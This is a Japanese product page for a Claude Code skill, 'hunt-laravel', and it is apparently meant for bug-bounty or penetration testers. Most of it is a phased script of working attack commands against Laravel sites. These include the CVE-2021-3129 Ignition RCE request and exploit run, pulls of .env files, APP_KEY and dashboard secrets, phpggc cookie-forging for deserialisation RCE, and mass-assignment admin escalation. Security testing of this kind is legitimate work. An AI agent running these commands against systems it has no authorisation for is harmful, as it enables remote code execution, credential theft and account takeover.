hunt-laravel について
Webセキュリティテスター向けのLaravel脆弱性調査スキルで、フレームワークの識別と主要なリスクの確認手順をまとめています。Ignition RCE、TelescopeやHorizonの情報露出、.env漏えい、署名付きURL、Mass Assignmentを扱い、検証基準も示します。
主な機能
- 01Laravelサイトと一般的なパスを特定
- 02デバッグモードとIgnition RCEを確認
- 03TelescopeとHorizonの情報露出を調査
- 04.env、APP_KEY、署名付きURLを確認
- 05Mass AssignmentとセッションCookieのリスクをテスト
活用シーン
- 01本番環境のLaravelデバッグ設定を評価
- 02ダッシュボードから認証情報やユーザーデータが漏れるか確認
- 03APP_KEYの漏えいによるセッション偽造を検証
- 04署名付きURLとMass Assignmentの権限への影響をテスト
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-laravelインストール後、Claude Code で/hunt-laravelを入力して読み込まれたか確認します。
詳細
HUNT-LARAVEL — Laravel 固有の脆弱性
重要ターゲット
本番環境で Laravel のデバッグモードが有効になっていると、Ignition 経由で即座に RCE が可能です(CVE-2021-3129)。
最も価値の高い発見事項:
- Ignition RCE(CVE-2021-3129) —
APP_DEBUG=trueかつ Laravel < 8.4.2 の場合、認証なしで/_ignition/execute-solutionから RCE が可能 - Telescope ダッシュボード —
/telescopeから、リクエスト/レスポンスの全ログ、DB クエリ、Redis コマンド、スケジュール済みジョブ、環境変数が漏えいします - Horizon ダッシュボード —
/horizonから、キュージョブの詳細や、完全なペイロードを含む失敗したジョブにアクセスできます(API キーや PII が含まれている可能性があります) - 署名付き URL の改ざん —
URL::signedRouteが誤ったパラメーターを検証している場合、署名付き URL を迂回して不正な操作を実行できます - .env の露出 —
APP_KEYが漏えいすると、暗号化されたすべての Cookie を復号し、セッションを偽造して ATO を実行できます
フェーズ 1 — Laravel のフィンガープリント
# Laravel-specific indicators
curl --max-time 30 --connect-timeout 10 -sI https://$TARGET/ | grep -i "laravel_session\|x-powered-by.*php"
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/ | grep -i "laravel\|Illuminate\|csrf-token"
# Common Laravel paths
for path in /storage /public /resources "/vendor/laravel" "/.env" "/artisan"; do
STATUS=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
[ "$STATUS" != "404" ] && echo "$path: $STATUS"
done
# Check error page (trigger 404)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/definitely-does-not-exist-xyz" | grep -i "laravel\|Whoops\|Ignition\|symfony"
フェーズ 2 — デバッグモードと Ignition RCE(CVE-2021-3129)
# Step 1: Check if debug mode is enabled (Whoops error page)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/nonexistent" | grep -i "Whoops\|APP_DEBUG\|Ignition"
# If Whoops/Ignition is visible → debug mode ON → test CVE-2021-3129
# Step 2: Check Ignition endpoint
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_ignition/health-check" | head -5
# Step 3: CVE-2021-3129 — Laravel < 8.4.2 RCE via log file manipulation
# (Requires debug mode + writable storage/logs)
# Tool: ambionics/laravel-ignition-rce
git clone https://github.com/ambionics/laravel-ignition-rce /tmp/laravel-rce
php /tmp/laravel-rce/exploit.php https://$TARGET "id"
# Manual test — send solution request
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/_ignition/execute-solution" \
-H "Content-Type: application/json" \
-d '{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "x",
"viewFile": "php://filter/write=convert.base64-decode/resource=../storage/logs/laravel.log"
}
}'
フェーズ 3 — Laravel Telescope と Horizon
# Telescope — request/response logs, DB queries, jobs, cache, events
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/telescope" | grep -i "telescope\|laravel"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/telescope/api/requests" | python3 -m json.tool 2>/dev/null | head -50
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/telescope/api/commands" | python3 -m json.tool 2>/dev/null | head -30
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/telescope/api/redis" | python3 -m json.tool 2>/dev/null | head -30
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/telescope/api/environment" | python3 -m json.tool 2>/dev/null | head -50
# Horizon — queue worker dashboard
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/horizon" | grep -i "horizon\|laravel"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/horizon/api/stats" | python3 -m json.tool 2>/dev/null
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/horizon/api/jobs/failed" | python3 -m json.tool 2>/dev/null | head -50
# Failed job payloads often contain full request data including auth tokens
# Common paths
for path in /telescope /telescope/requests /telescope/api /horizon /horizon/api/stats; do
STATUS=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
[ "$STATUS" = "200" ] && echo "[+] ACCESSIBLE: $TARGET$path"
done
フェーズ 4 — .env ファイルと APP_KEY の露出
# Direct .env access
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/.env" | grep -i "APP_KEY\|DB_PASSWORD\|SECRET\|KEY"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/.env.production"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/.env.backup"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/.env.local"
# If APP_KEY found:
APP_KEY="base64:XXXXXXX"
echo "APP_KEY=$APP_KEY"
# → Can decrypt all Laravel encrypted cookies
# → Can forge session cookies → ATO for any user
# Also check
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/storage/logs/laravel.log" | tail -100 | grep -i "exception\|error\|key\|password"
フェーズ 5 — 署名付き URL の改ざん
# Laravel signed URLs contain signature param: ?signature=HASH
# Find signed URL endpoints
cat recon/$TARGET/urls.txt | grep "signature="
# Test: modify a non-signature parameter — should fail validation
SIGNED_URL="https://$TARGET/unsubscribe?user=123&[email protected]&signature=VALID_SIG"
# Modify user ID → should fail if properly signed
curl --max-time 30 --connect-timeout 10 -s "${SIGNED_URL/user=123/user=999}"
# Test signature bypass: remove signature entirely
curl --max-time 30 --connect-timeout 10 -s "${SIGNED_URL/&signature=VALID_SIG/}"
# Test: does the app validate ALL parameters or just some?
curl --max-time 30 --connect-timeout 10 -s "${SIGNED_URL}&extra=malicious"
フェーズ 6 — Eloquent 経由の一括代入
# Laravel Eloquent ORM — if model uses $guarded=[] or $fillable=[] improperly
# Test: add extra fields to update/create requests
# Profile update
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/profile" \
-H "Cookie: laravel_session=SESSION" \
-H "Content-Type: application/json" \
-d '{"name": "Test", "email": "[email protected]", "is_admin": true, "role": "admin"}'
# Registration
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/register" \
-H "Content-Type: application/json" \
-d '{"name": "Test", "email": "test@[DOMAIN_EXAMPLE]", "password": "test123", "verified": true, "admin": 1}'
フェーズ 7 — Laravel Cookie のデシリアライズ
# If APP_KEY is known, forge a session cookie with malicious serialized payload
# Uses phpggc gadget chains
# Get the app key
APP_KEY=$(curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/.env" | grep "^APP_KEY=" | cut -d= -f2)
# Generate payload with phpggc
php phpggc Laravel/RCE5 system 'id' | base64
# Sign the cookie with the app key using laravel-cookie-forge script
# python3 laravel_cookie_forge.py --key "$APP_KEY" --payload "PHPGGC_PAYLOAD"
チェーン表
| Laravel の発見事項 | チェーン先 | 影響 |
|---|---|---|
| デバッグモードが有効 | CVE-2021-3129 Ignition RCE | 重大な RCE |
| Telescope にアクセス可能 | API キー、DB クエリ、環境変数の読み取り | 高 — 認証情報の窃取 |
| Horizon にアクセス可能 | 失敗したジョブのペイロードの読み取り | 高 — PII/トークンの窃取 |
| APP_KEY を含む .env が露出 | セッション Cookie を偽造 → ATO | 重大な ATO |
| 署名付き URL の迂回 | 不正な操作(任意のユーザーの登録解除など) | 中〜高 |
| 一括代入 | is_admin=true を設定 → 権限昇格 | 重大 |
検証
✅ Ignition RCE:id コマンドの出力がレスポンスに返される
✅ Telescope:API レスポンスに、認証情報またはユーザートークンを含む DB クエリが含まれる
✅ APP_KEY:偽造したセッション Cookie が受け入れられ、別のユーザーのプロフィールが返される
✅ 一括代入:is_admin: true が受け入れられ、アカウントに管理者権限が付与される
深刻度:
- Ignition RCE:重大
- 機密データを含む Telescope/Horizon:高
- APP_KEY を含む .env:重大
- 一括代入による管理者権限の付与:重大
検証
Laravel のハンティング準備ができていることを確認するには、次のセルフテストを実行します。
-
スキルの整合性 — スキルファイルが読み取り可能で、正しい形式であることを確認します:
grep -q "name: hunt-laravel" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
カテゴリの確認 — スキルにカテゴリがあることを確認します:
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
落とし穴のセクション — 落とし穴が文書化されていることを確認します:
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
3 つすべてのテストで、スキルが適切に構成され、使用できる状態であることを確認します。
注意点
- 悪用を伴わない APP_KEY の露出 — APP_KEY があれば Cookie の復号と署名が可能です。偽造したセッション Cookie または復号したデータを実証してください。
- 機密情報の出力を伴わないデバッグモード —
APP_DEBUG=trueによりスタックトレースが表示されるだけなら深刻度は低です。デバッグ出力に認証情報またはシークレットが含まれている必要があります。 - データベース認証情報を伴わない .env の露出 —
APP_NAME=...しか含まない.envの露出は情報提供にとどまります。DB 認証情報、API キー、またはシークレットが必要です。 - 認証なしでの Telescope/Horizon へのアクセス — これらのツールからキュー、キャッシュ、リクエストのデータが漏えいします。これらを通じて機密データにアクセスできることを実証してください。
コメント
Markdown 対応